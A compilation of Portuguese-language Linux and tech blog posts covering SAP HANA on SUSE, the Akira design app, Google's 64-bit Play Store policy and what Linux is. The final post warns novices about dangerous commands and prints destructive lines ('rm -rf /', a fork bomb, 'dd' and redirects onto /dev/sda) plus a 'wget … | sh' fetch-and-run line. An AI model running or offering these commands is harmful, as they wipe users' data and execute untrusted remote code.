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SUSE colabora com Intel e SAP para acelerar a transformação de TI com memória persistente no Data Center

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A SUSE anunciou hoje o suporte para a memória persistente Intel OptaneTM DC com SAP HANA. Executados no SUSE Linux Enterprise Server (SLES) for SAP Applications, os usuários do SAP HANA podem agora tirar proveito da memória persistente de alta capacidade Intel Optane DC no data center.

 SUSE colabora com Intel e SAP para acelerar a transformação de TI com memória persistente no Data Center





Os usuários podem otimizar seus workloads, movimentando e mantendo altas quantidades de dados mais próximas do processador e minimizando a maior latência de buscar dados do armazenamento do sistema durante a manutenção. O suporte para a memória persistente Intel Optane DC, atualmente disponível em versão beta de vários provedores de serviços na nuvem e fornecedores de hardware, é outra forma pela qual a SUSE auxilia clientes a transformar suas infraestruturas de TI para reduzir custos, oferecer melhor desempenho e competir com mais eficiência.

“A tecnologia de memória persistente irá desencadear novas aplicações para acesso e armazenamento de dados”, diz Thomas Di Giacomo, Chief Technology Officer (CTO) da SUSE. “Ao oferecer uma solução totalmente suportada com base na memória persistente Intel Optane DC, as empresas podem aproveitar melhor o desempenho do SAP HANA. A SUSE continua firmando parcerias com empresas como SAP e Intel para atender clientes em todo o mundo que buscam impulsionar o crescimento, transformando sua infraestrutura de TI. São suas necessidades que orientam a direção de nossa inovação”.

“A memória persistente Intel Optane DC representa uma nova classe de memória e tecnologia de armazenamento, projetada especificamente para aplicação no data center. Essa nova classe permite soluções de banco de dados com memória de baixo custo e alta capacidade; garante maior tempo de atividade do sistema e recuperação mais rápida após os ciclos de energia; e oferece aplicativos de escala em nuvem com desempenho mais alto”, relata Alper Ilkbahar, vice-presidente e gerente geral do Grupo de Soluções de Memória Não Volátil e Armazenamento da Intel.

“Ao trabalhar em conjunto com a SUSE e a SAP para levar essa tecnologia transformadora aos nossos clientes, podemos ajudá-los a aproveitar toda uma nova geração de aplicativos e serviços que podem fornecer recursos revolucionários para a era centrada em dados ou ‘data-centric’”, complementa Ilkbahar.

“A capacidade de fornecer memória persistente para o SAP HANA é um marco significativo em nosso relacionamento contínuo com a SUSE e a Intel. O SAP Digital Core baseia-se no conceito de simplificar a infraestrutura para aumentar a produtividade e obter insights em tempo real”, afirma Martin Heisig, Head da Rede de Inovações Tecnológicas SAP HANA.
O SAP HANA oferece às empresas de todos os tamanhos uma solução de banco de dados de alto desempenho para suas aplicações SAP. Os clientes que utilizam o SUSE Linux Enterprise Server for SAP Applications e executam workloads do SAP HANA na memória persistente Intel Optane DC podem esperar por economias de custo de infraestrutura juntamente com uma redução na sobrecarga de gerenciamento. Como os workloads do SAP HANA são executados em Linux, o sistema operacional SUSE Linux Enterprise é atualmente a única solução que oferece suporte para a memória persistente SAP HANA e Intel Optane DC.

O suporte para a memória persistente Intel Optane DC com workloads SAP HANA em execução no SUSE Linux Enterprise Server for SAP Applications está incluído no SUSE Linux Enterprise 12 Service Pack 4, disponível agora em todo o mundo. Para mais informações sobre o SUSE Linux Enterprise, acesse https://www.suse.com/pt-br/products/server/

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Akira, a nova ferramenta para design no Linux

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Uma ferramenta muito interessante para designers no Linux está com financiamento coletivo aberto, seu nome é “Akira”. Um programa que visa fazer frente aos concorrentes proprietários, feito por designers e pensado para designers.

akira-design-vetorial-linux

Parafraseando Alessandro Castellani, desenvolvedor líder do Akira, ‘‘[...] o status atual do Linux no Desktop, não permite que designers sejam produtivos e competitivos, num mundo tão acelerado [...]”. “[...] E o único propósito do Akira é mudar drasticamente isso”.

Eu sei que parece um pouco audacioso, mas em tempos que profissionais estão cada vez mais dependentes de ferramentas proprietárias. Uma nova alternativa Open Source, pode proporcionar portas que por algum motivo, aplicações como: GIMP, Inkscape, Krita, Gravit Designer ou qualquer outro software, não trouxeram, seja por dificuldade de adaptação do usuário, interface ou alguma funcionalidade inexistente. Uma nova ferramenta pode ser um novo ponto de partida.

O financiamento coletivo da aplicação, está sendo feita através do KickStarter. Na categoria “Tudo ou nada”, na qual o projeto só irá adiante caso alcance seu objetivo até 4 de Março.

Tecnologias no desenvolvimento do Akira


Quem afirma que aplicações em GTK são inferiores as alternativas em QT, por conter limitações de funcionalidades no desenvolvimento, vai se surpreender com a escolha dos desenvolvedores do Akira. Que decidiram escrever inteiramente a base do software em Vala e GTK + 3. O sistema de criação de projetos, Meson, será utilizado em seu desenvolvimento. 

A aplicação visa ser uma alternativa viável aos grandes softwares do mercado, e totalmente nativa para sistemas baseados em Linux. Informações sobre o suporte a outras plataformas, não foram dadas pelos responsáveis do projeto. 

mockup-interface-akira

Formas de distribuição


Inicialmente com proposta de ser distribuído na loja de apps do ElementaryOS, e em Flatpak. Os desenvolvedores do Akira, mostraram-se abertos a outras formas de empacotamento, como: Snap e AppImage, mas nestes casos, contando com a ajuda de colaboradores da comunidade.

Um PPA com as Daily Builds, com a evolução do projeto, também está nos planos.

Lista de recursos para primeira versão


Temas adaptáveis e uma interface altamente customizável, o Akira visa trazer maior liberdade no manuseio visual da aplicação, seja com o modo dark ou janelas com rótulos ou sem rótulos, não importa. A intenção é que o designer tenha o controle.

modo-dark-akira-janelas-temas

Um projeto dentro do projeto


A equipe do Akira pretende construir uma nova biblioteca para lidar com as telas da aplicação, algo baseado em vetores SVG, dando maior escalabilidade ao software. Esta biblioteca será independente da aplicação, podendo ser incorporada em outros projetos.

Mais funcionalidades


Terá como todo software de imagens vetoriais, formas geometricas para uso variado. Painel de camadas, para organização das layers do projeto. Gerenciador de fontes, mas em primeiro momento o nativo do padrão GTK, com planos futuros para algo desenvolvido por eles.

painel-camadas-akira-layers


Formatos suportados pela aplicação


Um novo formato será utilizado para o projeto “.akira”, escrito em JSON, ele trará todas as informações necessárias, como: cores, fontes, símbolos etc. Com a possibilidade de um controle de versionamento dentro do arquivo.

Já os formatos de exportação, serão: SVG, PNG, JPG e PDF, sem suporte inicial para formatos proprietários.

Um pouco sobre a equipe de desenvolvimento


Com uma equipe de 4 pessoas em seu desenvolvimento, 2 deles sendo membros da Gnome Foundation e 1 do Elementary OS. O projeto Akira visa, em 4 meses, lançar a primeira versão do software. Um prazo muitíssimo curto, diga-se de passagem.

Nesse contexto fica evidente a escolha de algumas tecnologias em torno de seu desenvolvimento. Mas isso, de forma alguma, desqualifica tais tecnologias, pelo contrário, se desenvolvedores experientes estão dispostos a utilizá-las em uma empreitada tão ambiciosa, isso só demonstra sua capacidade e viabilidade técnica no projeto.

Colabore, quanto mais boas alternativas, melhor!


As colaborações para desenvolvimento da aplicação Akira, podem ser feitas em sua página do KickStarter, com mais informações e funcionalidades do app.

E aí, curtiu a possibilidade de um novo software para design no Linux? O que achou da proposta do Akira? Deixe nos comentários, quais softwares você utiliza para criar seus trabalhos. Eu utilizo muito, o GIMP em conjunto ao Inkscape.

Te vejo no próximo post, até lá, SISTEMATICAMENTE! 😎

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Google aconselha desenvolvedores criarem Apps 64bits

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Processadores 64 bits oferecem diversas vantagens sobre os de arquitetura 32 bits, mas parece que nem todo desenvolvedor visa criar aplicativos em versão 64 bits. Isso “obrigou” a Google a dar o ultimato. Calma que não é todo esse alarde que alguns veem fazendo.

apps-playstore-google-64bits

Nesta Terça-feira, 15 de Janeiro, Vlad Radu, gerente de produtos da Google, anunciou no blog de desenvolvedores Android, os planos da empresa para o futuro do Android em relação a arquitetura de processador dos aplicativos.

A intenção é que processadores em tal arquitetura, tirem maior proveito ao executar apps em 64 bit. Atualmente, nem todas aplicações possuem sua variante em 64 bits, limitando um smartphone de 64 bits obrigando os aparelhos a utilizarem as versões 32 bits, e por consequência, não extraírem o máximo de desempenho, como foram projetados.

O fim dos 32 bits? Será?


Com o pronunciamento, algumas dúvidas ficaram no ar. Não que a nota pelo gerente da Google foi confusa, pelo contrário, mas alguns portais de tecnologias noticiaram que seria o fim dos aplicativos em 32 bits na Play Store.

Para quem esse requisito se aplica?


A proposta da Google é de que no dia 1º de Agosto de 2021, a Play Store deixe de dar suporte 32 bits para aparelhos que suportam 64 bits. Isso não significa que smartphones com processadores 32 bits sejam afetados. Os apps em 32 bits não acabarão, apenas donos de aparelhos com suporte 64 bits, passarão a extrair o máximo de seus gadgets. Pois existirão versões de apps apropriadas, não obrigando a utilizar 32 bits.

Se essa transição for feita com sucesso, provavelmente as pessoas não vão perceber nenhuma diferença em relação a disponibilidade de Apps, ainda que talvez sintam um melhor desempenho em alguns, o que é uma coisa boa, sem dúvida.

Salvo algumas exceções, como jogos feitos na Unity 5.6 em 32 bits, até o prazo de 2021, poderão manter suas versões de 32 bits, sem a necessidade de uma 64 bits.

Aplicações segmentadas ao Wear OS, Android TV, ou pacotes não destinados aos usuários do Android 9 Pie ou posterior, também não se enquadrarão nesta obrigatoriedade.

Uma tarefa perfeitamente possível


Para maior parte dos desenvolvedores Android a mudança será relativamente simples. Visto que as linguagens que dominam o desenvolvimento de apps Android são, o Java e Kotlin, e não precisam de alterações de código para suportar ambas arquiteturas, 32 bits e 64 bits.

A Google está esperançosa em tecnologias de inteligência artificial, machine learning (aprendizado de máquinas), e dispositivos mobiles mais imersivos. O suporte ao 64 bits prepara todo ecossistema para tais inovações, permitindo novos recursos avançados.

Assim como nos desktops, o próximo passo é deixar a era de 32 bits para trás nos smartphones.

Você possui algum smartphone com processador 64 bits? Pensava que os 32 bits iriam acabar? Deixe nos comentários o que acha disso tudo.

Até o próximo post, aqui no blog Diolinux, nos vemos, SISTEMATICAMENTE! 😎

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O que é Linux? - A definição oficial da Linux Foundation

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O que é Linux? É curioso pensar na quantidade de pessoas que utiliza Linux diariamente de forma direta ou indireta e não tem a mínima noção do que realmente "é Linux". Hoje vamos tirar alguns instantes para você entender "o que é Linux" da perspectiva atual, com a definição da instituição que atualmente representa o Linux e é o que mais próximo existe de "uma empresa" por trás do Linux, a Linux Foundation.

O que é Linux - What is Linux?






A maior parte das pessoas que já pesquisou sobre "O que é Linux" já deve ter chegado a informação que te respondem: Linux é um Kernel. Mas talvez isso não refletia a realidade nos tempos atuais, uma definição que outrora era mais adequada.

A documentação atual da Linux Foundation nos dá uma visão geral do que "é Linux" nos dias atuais, então vamos melhorar as nossas definições!

Linux é um Kernel?


Para evitar confundir as pessoas que tem isso por definição de "o que é Linux", vamos fazer uma parada neste tópico.

Sim, Linux é um Kernel. 

Mas o que é um Kernel

Kernel é um software para computador que pode ser considerado o "núcleo" do sistema operacional, seja ele Linux, Windows, macOS ou qualquer outro. Do ponto de vista técnico, ele é um dos, se não "o", componente mais importante do sistema operacional, do ponto de vista do usuário final (desktop, Smartphone, etc), a interface com o usuário tem maior relevância.

Na maior parte dos sistemas o Kernel é um dos primeiros programas a serem carregados no boot, ele costuma trabalhar com o restante da inicialização, assim como trabalha com as solicitações de entradas e saídas, traduzindo-as em instruções que o CPU vai interpretar. O Kernel trabalha com os periféricos (teclados, mouse, monitores, impressoras, som etc.), e também com a memória.

Em linhas gerais, o Kernel é o software que conecta o hardware do seu computador ou dispositivo com o restante do software. É ele que cria o "meio de campo" entre o seu player de música e as sua placa de som, e o resultado desta interação é que vai permitir que você ouça as suas músicas favoritas.

Linux é um Kernel, sim, mas não é "só" isso. Atualmente podemos considerar o Linux uma plataforma ou sistema operacional completo.

O que é Linux - A definição oficial pela Linux Foundation


Existem duas definições que a Linux Foundation oferece em seu site, a definição "comercial", para que qualquer pessoa possa entender, e a explicação técnica, pra quem gosta de "escovar uns bits".

Nós vamos ver as duas obviamente, assim você terá a compreensão total de "O que é Linux".

Linux - A definição comercial


Começado em 1991, Linux é o sistema operacional dominante no mundo. Lançado por Linus Torvalds, o Linux é um exemplo de excelência da inovação de como um projeto pode ser levado. O Linux também representa o desejo de Linus por um sistema operacional que ele poderia executar em seu computador pessoal, eventualmente o mundo todo tomou conhecimento dele e todos, desde empresas de hardware até provedores de tecnologias emergentes, se encontraram participando do desenvolvimento do Linux e da construção de soluções para serem executadas em um sistema operacional aberto. 

O que é Linux?


Entre 2005 e 2015, mais de 11 mil desenvolvedores individuais e quase 1.200 empresas diferentes contribuíram com o Kernel do Linux, que se tornou um recurso compartilhado comum, desenvolvido em grande escala por empresas que, de outra forma, são concorrentes ferozes em seus respectivos segmentos industriais.

Os lançamentos dos Linux são regulares, a cada dois ou três meses são oferecidas atualizações estáveis para os usuários, onde são adicionados novos recursos importantes, suporte aprimorado a dispositivos recorrentes e melhorias de desempenho. A taxa de mudança no Kernel foi historicamente alta e continua a aumentar, com mais de 10 mil patches em cada nova versão do Kernel. Cada um desses lançamentos contém o trabalho de mais de 1.400 desenvolvedores que representam mais de 200 corporações, incluindo Google, Microsoft, Red Hat, Lenovo, Linaro, IBM, Intel, AMD, e muitas, muitas outras.


O que é Linux? - Definição técnica


OK, agora vamos mergulhar em algo um pouco mais denso para você entender o contexto como um todo. Esta definição também foi retirada do site oficial da Linux Foundation, você pode ler o artigo original aqui.

Assim como o Windows ou o macOS, Linux é um sistema operacional. Um sistema operacional é um software que gerencia todos os recursos de hardware associados ao seu desktop ou Notebook, assim como os seus dispositivos móveis. Para colocar de forma simples, o sistema operacional gerencia a comunicação entre o seu software e o seu hardware e serve como plataforma para as aplicações que você executa. Sem o sistema operacional (também referido como SO, ou OS em inglês), o restante dos softwares não poderia funcionar da forma como conhecemos.

Um "sistema operacional Linux" abrange um certa quantidade de setores:

Bootloader: O software que gerencia o processo de boot do seu computador. Para a maior parte dos usuários, ele é reconhecido como uma simples "splash screen" com algum logo ou animação que eventualmente acaba e te leva até a sua área de trabalho ou tela de login. Essa página do Debian nos mostra uma grande variedade de bootloaders disponíveis para Linux.

O mais popular é o GRUB, no entanto, ele é comumente utilizado em distros de desktop/servidor, sendo que em máquinas mais recentes o próprio Kernel é capaz de gerenciar o boot sem a necessidade de outro bootloader. Existe também um projeto chamado "Das U-Boot" que é Open Source e é responsável por dar boot em placas embarcadas, como o Raspberry Pi. O Android geralmente possui uma versão modificada pelos fabricantes do Bootloader que lhe garante acesso a características específicas de cada aparelho. O bootloader do Android consegue ler do armazenamento do dispositivo as imagens boot.img e recovery.img que contém versões comprimidas do Kernel Linux, onde elas são carregadas diretamente para a RAM dos Smartphones/Tablets, etc. Aqui tem um slide interessante sobre o boot do Android.

Kernel: Esta é a parte que do todo que chamamos efetivamente de "Linux". O Kernel é o núcleo do sistema e gerencia o CPU, memória, periféricos, etc, como já comentamos anteriormente no texto. O kernel pode ser considerado o nível mais baixo do sistema operacional, a base de tudo.

Daemons: Esses são serviços que rodam em background (processos de impressão, som, scheduling, etc.) que iniciam durante o boot, ou depois de iniciar a sessão na área de trabalho. Para entender melhor o que é e como funcionam confira este outro artigo do blog.

O Shell: Você provavelmente já ouviu falar do terminal Linux. De forma simples, isto é o Shell. Em um termo mais técnico, Shell (casca/concha) é a camada externa do Kernel, no entanto, o termo também é empregado em sistemas Unix onde programas em modo texto podem ser utilizados como meio de interação como interface para o usuário operar serviços de acesso direto ao Kernel. No Linux você pode usar o shell também para alterar funções de camadas mais altas do sistema operacional, como a manuseamento de software e automação de tarefas. O primeiro Shell Unix foi criado por Ken Thompson, uma das mentes mais importantes do mundo da informática ao lado de Dennis Ritchie.

Nas distros em geral você encontra o Bash, provindo do GNU, como o interpretador de comandos Shell, no entanto, ele não é o único e o próprio Linux possui o seu próprio, não sendo, teoricamente necessário a utilização de um outro. Veja informações sobre o Busybox/ToyBox aquialém deles temos alguns extremamente queridos pelos profissionais como ZSH, que em alguns casos pode ser até mais seguro do que o próprio Bash, fish, IPython, KornShell, etc.

Servidor Gráfico: Este é o sub-sistema que mostra os gráficos no seu monitor, que mostra as imagens. Ele é comumente referido no mundo Linux como "X", "X Server" ou "X.org". Existem outros em desenvolvimento, como o Mir, Wayland e o Freon, criado pela Google para os Chromebooks, entre outros menos populares.

Desktop Enviroment (DE): Essa é a parte do "quebra cabeças" dos sistemas que usam o Linux é que os usuários finais geralmente interagem. Existem muitos ambientes de trabalho (desktop enviroments) para se escolher no mundo Linux, como GNOME, Cinnamon, KDE, Enlightment, XFCE, LXDE, Budgie, Deepin Desktop Enviroment, entre outros. Cada Desktop Enviroment inclui suas próprias aplicações desenvolvidas para integração com o restante da interface, como gestores de arquivos, ferramentas de configuração, etc.

Aplicações: Apesar de existirem desktop enviroments que oferecem soluções praticamente completas para todo o tipo de ferramenta, eles ainda podem deixar algo faltando, e é aí que entram as aplicações. Assim como o Windows e o macOS, o Linux oferece milhares de softwares de alta qualidade que podem ser facilmente encontrados e instalados. Distros Linux modernas, e focadas em uso domésticos especialmente, já incluem ferramentas para instalar softwares de terceiros com poucos cliques. Estas sãos as chamadas "Centrais de Aplicativos", que funcionam como a AppStore ou Google Play.

Definidas as camadas, Linux atualmente é a plataforma que agrupa e serve de base para todos esses projetos que são desenvolvidos comunitariamente muitas vezes, mas também de forma independente.

Linux é o único ponto em comum de todas as chamadas "distribuições Linux", que são sistemas operacionais que usam o Kernel Linux como base para o desenvolvimento de seus projetos, agrupando softwares de todos os desenvolvedores, com licenças variadas. Por si só o Linux é um Kernel que também já pode ser considerado um sistema operacional independente, pois já possui um bootloader próprio, daemons e um terminal de interação próprio. Tudo o que vem acima disso para dar um propósito ao Linux é o que compõe o que chamamos de "distribuição Linux", ou simplesmente "distro".

Falando em distribuições Linux...


Existem desacordos locais entre o que deve e o que não deve ser chamado de "distribuição Linux", mas vamos ater nos novamente a explicação oficial, quem sabe assim possamos virar essa página.

É mais simples do que parece, uma distribuição Linux é um sistema operacional que usa o Kernel Linux, simples assim. Seja ele qual for e para qual finalidade ele for.

Partir de uma base do Kernel Linux e acrescentar coisas que não vem nele por padrão, ou pegar o Kernel e desmontar ele completamente usando somente os componentes que interessam, não faz dele menos Linux, faz dele um Linux modificado. É exatamente isso que praticamente todas as chamadas distribuições Linux fazem, praticamente nenhuma usa o Kernel Linux "puro" disponível no Kernel.org.

Fazendo uma analogia que ignora a filosofia e considera a biologia: Do mesmo jeito que se você, que é composto de incontáveis átomos, você desintegrado e se tornasse poeira cósmica novamente continuaria sendo tecnicamente você, só que em outra forma, assim é o Linux.

O Linux possui um número imenso de versões diferentes, de versões para usuários novatos aos hard users, de relógios de pulso ao seu celular, de máquinas de lavar a geladeiras, de ordenhadeiras a robôs que andam em Marte, tem Linux para todos os gostos!

Cada uma dessas versões é chamada de distribuição Linux (ou distro). No caso das versões moldadas para rodar no Desktop, temos algumas famosas. O site Linux.com cita como exemplo:

- Ubuntu
- Linux Mint
- Arch Linux
- Deepin
- Fedora
- Debian
- openSUSE

(Parênteses no assunto)

E uma observação aqui, fugindo um pouco da pauta. Muitas pessoas ainda criticam o Deepin pelo simples fato de sua origem ser chinesa, esse assunto já foi debatido no canal em dois vídeos que você pode ver aqui e aqui. Mas o Kernel.org faz espelhamento do Deepin e a Linux Foundation (da qual a Wuhan Technology, desenvolvedora do Deepin faz parte) agora indica ele como uma das boas distros para uso no Desktop. Isso definitivamente não os exime de nada, mas é um ótimo indicativo de confiança.

Retomando...

Cada distribuição pode ter um público alvo e um propósito diferente, muitas vezes existem distribuições (ou projetos) que tentam criar versões do sistema para finalidades diferentes. Ubuntu para Desktop, Ubuntu Server, Ubuntu Snappy, etc, são bons exemplos disso.

Em suma, para algo ser uma "distro Linux" ela simplesmente precisa usar o Kernel Linux.

Linus Torlvalds -  A mente por trás do Linux


Nas suas pesquisas sobre Linux você já deve, inevitavelmente, ter ouvido falar de Linus Torvalds. Ele já havia sido mencionado em outro momento neste mesmo texto. Ele é o criador original do Linux e até hoje um dos principais mantenedores. Não é uma pessoa de muitas palavras e raramente dá entrevistas, por isso, aproveite o "show" em um raro TED Talks que a nossa equipe legendou em português para você.

Linus Torlvads Entrevista Ted Talks PTBR

Apesar de Torvalds ser reconhecido mundialmente como "a mente por trás do Linux", ele não é o único a fazer este árduo trabalho. A Linux Foundation nos mostra quem são as pessoas que atualmente estão ao lado de Linus Torvalds nesse trabalho.

Linux Desenvolvedores principais

Mencionar Chris Mason, Dan Williams e Greg Kroah-Hartman é interessante, pois muita gente se pergunta o que aconteceria com o Linux caso Linus Torvalds se aposente ou venha a falecer, a resposta é que a Linux Foundation está aí justamente para isso e estas são algumas das pessoas que poderiam assumir o cargo. Falamos mais sobre este assunto mórbido neste outro artigo aqui do blog.

E o Tux?


O Tux é o mascote do Linux, esse pinguim simpático que você já viu na primeira imagem deste artigo. Nós temos um artigo aqui no blog dedicado a te ensinar a origem do mascote do Linux, que atualmente possui inúmeras variações, veja alguns exemplos:


O mascote do Linux

Conclusões e Mitos Rápidos


- O que é Linux? 

R: Uma plataforma ou sistema operacional (Kernel e ferramentas satélites que podem ou não ser usadas, dependendo do projeto), criando proeminência para o Kernel.

- Android é Linux?

R: De uma vez por todas, SIM. Se você precisar de mais referências, veja o site oficial do Android, veja o site da Linux Foundation, veja a página da Wikipédia e consulte as referências para o artigo e por último, confira este artigo aqui do blog que tem um vídeo bacana sobre o assunto, e damos isso por encerrado. Belezinha? 😉

- Linux ou GNU/Linux?

R: É uma velha guerra e dificilmente quem se decidiu muda de opinião. A verdade é que cada um é uma coisa, tanto que são representados por instituições diferentes e ambos vivem de forma independente.

Ao se referir a "Linux" você se refere a toda e qualquer aplicação, sistema ou plataforma, que rode o Kernel Linux (usando ferramentas GNU ou não), usar o termo GNU/Linux é fazer uma alusão as ferramentas GNU que são inclusas em algumas distribuições comuns em desktop, como GRUB, Bash, GCC, entre outros, o que a meu ver (opinião pessoal agora), é elucidar uma iniciativa (que é importante, mas não única) em detrimento de outras igualmente importantes. Uma distro como o Manjaro KDE por exemplo é formada por muito mais coisas do que apenas "Linux e ferramentas GNU", temos ali KDE, QT, X.org, Filesystems e muitos outros softwares que formam o sistema operacional que você usa e que são provindos de outros desenvolvedores, onde juntas formam toda a distribuição, seguindo a mesma lógica, não seria justo usar todos os contribuidores no nome?

Melhor chamar só de "Manjaro" mesmo, que é o resultado desse agrupamento de software específico, que é o nome do sistema operacional, uma das muitas distros Linux que também usam ferramentas GNU. 

Uma das definições que eu já ouvi, é que chamar de "GNU/Linux" é também uma forma de trazer o projeto GNU a tona, tentando endossar a ideia do Software Livre, o que é louvável, mas a meu ver não é coerente. Um verdadeiro sistema GNU/Linux para mim seria um sistema operacional lançado pelo projeto GNU que usasse o Linux como Kernel.

Não temos uma "GNU/Linux Foundation", nem uma "qt/KDE/GNU/X/Mesa/Intel/Linux/Minix/Unix Foundation", temos uma fundação GNU, uma fundação Linux e assim por diante, afinal, são coisas diferentes e nem sempre relacionadas. E mesmo quando são, as ferramentas GNU estão sob a mesma base Linux que todas as outras ferramentas que compõem o sistema operacional estão, no nosso exemplo, o KDE Plasma, o sistema de arquivos, os KApps, os gestores de softwares, o servidores gráfico, entre outras coisas.

Para mais informações sobre essa discussão chata, inconclusiva para muitos e completamente inútil e improdutiva, veja a série "Muito Além do GNU" do canal Toca do Tux.

- Linux (ou Linux Foundation) é uma empresa?

R: Não! Muita gente se confunde quanto a isso e pensa que "Linux" é um sistema operacional que concorre diretamente com Windows e macOS no mercado através de uma empresa, então "se a Linux quiser abocanhar uma parte do mercado... blá, blá, blá", você já deve ter ouvido isso. Para acabar com isso de uma vez, confira o vídeo "O que você ainda não entendeu sobre 'O Linux'".


Se preferir consumir o conteúdo deste vídeo em modo texto, faça a leitura neste artigo aqui do blog. Agora quando você pensar em Linux, não pense em um prédio cheio de escritórios onde um monte de pessoas trabalha desenvolvendo o Linux.

Algumas distros Linux são criadas dessa forma (mas não somente dessa forma), especialmente as que (justamente) possuem uma empresa "tradicional" por trás, como Ubuntu (Canonical) e Red Hat EL (Red Hat), Android (Google) entre outras.

Linux pode ser desenvolvido por uma série de empresas, mas ele é de domínio público, qualquer um (literalmente) pode utilizar o Linux para seus projetos, você não precisa necessariamente ser um contribuidor direto do Linux para usar Linux, no entanto, o simples fato de você usar Linux acaba gerando feedback e eventualmente código que vai ajudar a melhorar o Linux em versões futuras.

A Microsoft poderia criar uma versão do Linux para Desktop se quisesse, a Apple poderia criar um sistema Linux para o iPhone se quisesse também e assim por diante. A única coisa que tem Copyright é o nome Linux, que pertence a Linus Torlvalds por questões legais.

- Qual a função da "Linux Foundation"?

R: A Fundação Linux é dedicada a construir ecossistemas sustentáveis em torno de projetos de código aberto para acelerar o desenvolvimento de tecnologia e adoção comercial. Fundada em 2000, a Fundação Linux oferece suporte incomparável para comunidades de código aberto através de recursos financeiros e intelectuais, infra-estrutura, serviços, eventos e treinamento. Trabalhando juntos, a Fundação Linux e seus projetos formam o investimento mais ambicioso e bem sucedido na criação de tecnologia compartilhada, mais do que Linux "A Fundação Linux" conquistou sua experiência e expertise apoiando a comunidade Linux para ajudar a estabelecer, construir e sustentar algumas das tecnologias de código aberto mais críticas. 

Seu trabalho hoje se estende muito além do Linux, promovendo a inovação em todas as camadas da pilha de software. A Fundação Linux organiza projetos que abrangem TI corporativa, sistemas embarcados, eletrônicos de consumo, nuvem, rede e muito mais. Alguns desses projetos de alta velocidade que estão ajudando a redefinir o que é possível incluem o Hyperledger para tecnologias de cadeias de blocos interindustriais; Automotive Grade Linux, a plataforma de software aberto para aplicações automotivas; o projeto da Plataforma de Automação de Rede Aberta (ONAP) para automação de software em tempo real e orientada por políticas de funções de rede virtual; e Kubernetes, o projeto Cloud Native Computing Foundation para orquestração de contêineres de produção.

Conclusão do artigo

Todas as informações contidas neste artigo não são opinativas, elas são factuais e retiradas de fontes confiáveis e que foram referenciadas nos links ao longo do texto, além disso, você pode consultar o próprio site da Linux Foundation para validar as informações. A única informação opiniativa foi gravada em itálico na sessão "Linux ou GNU/Linux".

Eu sinceramente espero que as horas que eu gastei pesquisando e organizando este conteúdo sejam realmente úteis para você! :)

Até a próxima!
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7 comandos perigosos do Linux que você NUNCA deve executar

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Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

